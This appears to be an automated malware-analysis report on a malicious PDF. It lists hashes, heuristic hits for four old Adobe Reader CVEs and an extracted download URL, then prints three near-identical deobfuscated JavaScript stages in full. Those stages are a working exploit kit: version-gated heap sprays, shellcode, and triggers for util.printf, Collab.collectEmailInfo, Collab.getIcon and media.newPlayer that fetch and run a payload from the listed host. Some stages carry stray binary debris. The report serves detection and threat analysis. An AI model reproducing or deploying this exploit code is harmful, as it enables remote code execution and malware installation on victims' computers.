Malicious PDF — malware analysis report

Static analysis result for SHA-256 a7012d3eb6a89a5e…

MALICIOUS

PDF

12.2 KB First seen: 2026-05-10
MD5: 21f0f69c40cc0f5d87006f15949b07cd SHA-1: 39a5696d92b8d3b159295f6cbd93aedb5066b282 SHA-256: a7012d3eb6a89a5ec6fa0f07b1c68da19a2981b6121b70e437fea131f141fc69
510 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1027 Obfuscated Files or Information

The PDF file contains embedded JavaScript, which is heavily obfuscated and utilizes an eval() call. This suggests the script is designed to download and execute a second-stage payload. The obfuscation and lack of clear document content make it difficult to determine the exact nature of the payload or a specific malware family. The primary IOC is the decompressed JavaScript stream.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var iT='', v = '%', h=app.doc;var d=h['getP'+'ageNum'+'Words'](2);var dG=184;var aJ=h['unescape'];    for(var z=0; z < d; z++){hU=h['getPag'+'eNthW'+'ord'](2, z);var gR=hU.substr(hU.length - 2, 2);var j=aJ(v + gR).charCodeAt(0);iT+=String['fromCh'+'arCode'](j ^ dG);}eval(iT);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://damoonos.net/ya/viewforum.php/1b47af76766cbcdfdc99e14ef336d0a2?spl=pdf_2010 Referenced by PDF JavaScript

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0020_000.js pdf-javascript-stream PDF /JS object 20 at offset 0x2B32 51 bytes
SHA-256: b1c95d417242a595fa48cee8bd33804821e8c3b23aaa0ad1757b5139f41952ed
Preview script
First 1,000 lines of the extracted script
var obj=this.info.title; l='l'; this['eva'+l](obj);
stream_007_off00002d37.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x2D37 276 bytes
SHA-256: d714a98d0f400250115fd247dd2a2ccb4239c3d2ccbc70c36b9fc1bb5f445d8d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 4881 bytes
SHA-256: 4c89fa8c9c425d129e1898bbafa7bbcac3059a901097cc13958683e645257a25
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords download URL: http://damoonos.net/ya/viewforum.php/1b47af76766cbcdfdc99e14ef336d0a2?spl=pdf_2010 */
var _u="http://damoonos.net/ya/viewforum.php/1b47af76766cbcdfdc99e14ef336d0a2?spl=pdf_2010";

	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "fw.EBWzPirC:p%s-ea0u=k1VMS_3D/A62ngt&THy8lKhORxmJ?N4jIcLvQo9bGUdqZF0X57Y";

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";

	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};

function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}
	return ret;
}

function fix_it(yarsp,len){

	while(yarsp.length*2<len){
		yarsp+=yarsp;
	}
	yarsp=yarsp.substring(0,len/2);
	return yarsp;
}

function printd(){
	var shellcode = get_shellcode("_new");
	var nx = unescape("%u9342%u3f4a"); 
	while(nx.length <= 32768) {
		nx += nx; 
	}
	nx = nx.substring(0, 32768 - shellcode.length); 
	memory = new Array(); 
	for(i = 0; i < 0x2000; i++) { 
		memory[i]= nx + shellcode; 
	} 
	util.printd("1.345678901.345678901.3456 : 1.31.34", new Date()); 
	util.printd("1.345678901.345678901.3456 : 1.31.34", new Date()); 

	try {
		this.media.newPlayer(null);
	} catch(e) {

	} 

	util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
}

function util_printf(){

	var payload=get_shellcode("_pack");
	var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");

	var heapblock=nop+payload;
	var bigblock=unescape("%u0A0A%u0A0A");
	var headersize=20;
	var spray=headersize+heapblock.length;

	while(bigblock.length<spray){
		bigblock+=bigblock;
	}

	var fillblock=bigblock.substring(0,spray);
	var block=bigblock.substring(0,bigblock.length-spray);

	while(block.length+spray<0x40000){
		block=block+block+fillblock;
	}

	var mem_array=new Array();

	for(var i=0;i<1400;i++){
		mem_array[i]=block+heapblock;
	}

	var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
	util.printf("%45000f",num);
}

function collab_email(){

	var shellcode=get_shellcode("_pack");
	var mem_array=new Array();
	var cc=0x0c0c0c0c;
	var addr=0x400000;
	var sc_len=shellcode.length*2;
	var len=addr-(sc_len+0x38);
	var yarsp=unescape("%u9090%u9090");
	yarsp=fix_it(yarsp,len);
	var count2=(cc-0x400000)/addr;

	for(var count=0;count<count2;count++){
		mem_array[count]=yarsp+shellcode;
	}

	var overflow=unescape("%u0c0c%u0c0c");

	while(overflow.length<44952){
		overflow+=overflow;
	}

	this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});
}

function collab_geticon(){

	if(app.doc.Collab.getIcon){
		var arry=new Array();
		var vvpethya=get_shellcode("_pack");
		var hWq500CN=vvpethya.length*2;
		var len=0x400000-(hWq500CN+0x38);

		var yarsp=unescape("%u9090%u9090");
		yarsp=fix_it(yarsp,len);

		var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;

		for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){
			arry[vqcQD96y]=yarsp+vvpethya;
		}

		var tUMhNbGw=unescape("%09");

		while(tUMhNbGw.length<0x4000){
			tUMhNbGw+=tUMhNbGw;
		}

		tUMhNbGw="N."+tUMhNbGw;
		app.doc.Collab.getIcon(tUMhNbGw);}
}

function PPPDDDFF(){

	var version=app.viewerVersion.toString();
	version=version.replace(/\D/g,'');
	var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));

	if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){
		util_printf();
	}

	if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){
		collab_email();
	}

	if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){
		collab_geticon();
	}

	printd();
}

PPPDDDFF();
       ���'_�æ�
legacy_pdfkit_stage_001.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 4998 bytes
SHA-256: 2db5db591607fbf5fbcd7c087fc029aa6feb7db1e5d34a3cd67443473a5e7c4d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords download URL: http://damoonos.net/ya/viewforum.php/1b47af76766cbcdfdc99e14ef336d0a2?spl=pdf_2010 */
var _u="http://damoonos.net/ya/viewforum.php/1b47af76766cbcdfdc99e14ef336d0a2?spl=pdf_2010";
UUUvfvvfvv f  vvrvvvvUvUvUU fVGUUvbf
	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "fw.EBWzPirC:p%s-ea0u=k1VMS_3D/A62ngt&THy8lKhORxmJ?N4jIcLvQo9bGUdqZF0X57Y";

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";

	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};

function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}
	return ret;
}

function fix_it(yarsp,len){

	while(yarsp.length*2<len){
		yarsp+=yarsp;
	}
	yarsp=yarsp.substring(0,len/2);
	return yarsp;
}

function printd(){
	var shellcode = get_shellcode("_new");
	var nx = unescape("%u9342%u3f4a"); 
	while(nx.length <= 32768) {
		nx += nx; 
	}
	nx = nx.substring(0, 32768 - shellcode.length); 
	memory = new Array(); 
	for(i = 0; i < 0x2000; i++) { 
		memory[i]= nx + shellcode; 
	} 
	util.printd("1.345678901.345678901.3456 : 1.31.34", new Date()); 
	util.printd("1.345678901.345678901.3456 : 1.31.34", new Date()); 

	try {
		this.media.newPlayer(null);
	} catch(e) {

	} 

	util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
}

function util_printf(){

	var payload=get_shellcode("_pack");
	var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");

	var heapblock=nop+payload;
	var bigblock=unescape("%u0A0A%u0A0A");
	var headersize=20;
	var spray=headersize+heapblock.length;

	while(bigblock.length<spray){
		bigblock+=bigblock;
	}

	var fillblock=bigblock.substring(0,spray);
	var block=bigblock.substring(0,bigblock.length-spray);

	while(block.length+spray<0x40000){
		block=block+block+fillblock;
	}

	var mem_array=new Array();

	for(var i=0;i<1400;i++){
		mem_array[i]=block+heapblock;
	}

	var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
	util.printf("%45000f",num);
}

function collab_email(){

	var shellcode=get_shellcode("_pack");
	var mem_array=new Array();
	var cc=0x0c0c0c0c;
	var addr=0x400000;
	var sc_len=shellcode.length*2;
	var len=addr-(sc_len+0x38);
	var yarsp=unescape("%u9090%u9090");
	yarsp=fix_it(yarsp,len);
	var count2=(cc-0x400000)/addr;

	for(var count=0;count<count2;count++){
		mem_array[count]=yarsp+shellcode;
	}

	var overflow=unescape("%u0c0c%u0c0c");

	while(overflow.length<44952){
		overflow+=overflow;
	}

	this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});
}

function collab_geticon(){

	if(app.doc.Collab.getIcon){
		var arry=new Array();
		var vvpethya=get_shellcode("_pack");
		var hWq500CN=vvpethya.length*2;
		var len=0x400000-(hWq500CN+0x38);

		var yarsp=unescape("%u9090%u9090");
		yarsp=fix_it(yarsp,len);

		var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;

		for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){
			arry[vqcQD96y]=yarsp+vvpethya;
		}

		var tUMhNbGw=unescape("%09");

		while(tUMhNbGw.length<0x4000){
			tUMhNbGw+=tUMhNbGw;
		}

		tUMhNbGw="N."+tUMhNbGw;
		app.doc.Collab.getIcon(tUMhNbGw);}
}

function PPPDDDFF(){

	var version=app.viewerVersion.toString();
	version=version.replace(/\D/g,'');
	var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));

	if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){
		util_printf();
	}

	if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){
		collab_email();
	}

	if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){
		collab_geticon();
	}

	printd();
}

PPPDDDFF();
bV brrVbVvVrrbVvVUfvVUvVUV vvvfUvvfUUvfUUvvv Uf ff U U    f   fff  f  VRvvR    U UvU Uff UU Uf U�
page_word_xor_stage_000.js deobfuscated-js page-word hex-tail XOR decoded JavaScript (decompressed, key=0xB8) at offset 0xBD6 4656 bytes
SHA-256: 8ef811b6ba4c8c689fd6175c74e4c682d35f373a0a6426dbee79d1cdadb7e56d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "fw.EBWzPirC:p%s-ea0u=k1VMS_3D/A62ngt&THy8lKhORxmJ?N4jIcLvQo9bGUdqZF0X57Y";

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";

	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};

function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}
	return ret;
}

function fix_it(yarsp,len){

	while(yarsp.length*2<len){
		yarsp+=yarsp;
	}
	yarsp=yarsp.substring(0,len/2);
	return yarsp;
}

function printd(){
	var shellcode = get_shellcode("_new");
	var nx = unescape("%u9342%u3f4a"); 
	while(nx.length <= 32768) {
		nx += nx; 
	}
	nx = nx.substring(0, 32768 - shellcode.length); 
	memory = new Array(); 
	for(i = 0; i < 0x2000; i++) { 
		memory[i]= nx + shellcode; 
	} 
	util.printd("1.345678901.345678901.3456 : 1.31.34", new Date()); 
	util.printd("1.345678901.345678901.3456 : 1.31.34", new Date()); 

	try {
		this.media.newPlayer(null);
	} catch(e) {

	} 

	util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
}

function util_printf(){

	var payload=get_shellcode("_pack");
	var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");

	var heapblock=nop+payload;
	var bigblock=unescape("%u0A0A%u0A0A");
	var headersize=20;
	var spray=headersize+heapblock.length;

	while(bigblock.length<spray){
		bigblock+=bigblock;
	}

	var fillblock=bigblock.substring(0,spray);
	var block=bigblock.substring(0,bigblock.length-spray);

	while(block.length+spray<0x40000){
		block=block+block+fillblock;
	}

	var mem_array=new Array();

	for(var i=0;i<1400;i++){
		mem_array[i]=block+heapblock;
	}

	var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
	util.printf("%45000f",num);
}

function collab_email(){

	var shellcode=get_shellcode("_pack");
	var mem_array=new Array();
	var cc=0x0c0c0c0c;
	var addr=0x400000;
	var sc_len=shellcode.length*2;
	var len=addr-(sc_len+0x38);
	var yarsp=unescape("%u9090%u9090");
	yarsp=fix_it(yarsp,len);
	var count2=(cc-0x400000)/addr;

	for(var count=0;count<count2;count++){
		mem_array[count]=yarsp+shellcode;
	}

	var overflow=unescape("%u0c0c%u0c0c");

	while(overflow.length<44952){
		overflow+=overflow;
	}

	this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});
}

function collab_geticon(){

	if(app.doc.Collab.getIcon){
		var arry=new Array();
		var vvpethya=get_shellcode("_pack");
		var hWq500CN=vvpethya.length*2;
		var len=0x400000-(hWq500CN+0x38);

		var yarsp=unescape("%u9090%u9090");
		yarsp=fix_it(yarsp,len);

		var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;

		for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){
			arry[vqcQD96y]=yarsp+vvpethya;
		}

		var tUMhNbGw=unescape("%09");

		while(tUMhNbGw.length<0x4000){
			tUMhNbGw+=tUMhNbGw;
		}

		tUMhNbGw="N."+tUMhNbGw;
		app.doc.Collab.getIcon(tUMhNbGw);}
}

function PPPDDDFF(){

	var version=app.viewerVersion.toString();
	version=version.replace(/\D/g,'');
	var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));

	if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){
		util_printf();
	}

	if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){
		collab_email();
	}

	if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){
		collab_geticon();
	}

	printd();
}

PPPDDDFF();

Open this report in the interactive analyzer, or submit your own file for analysis.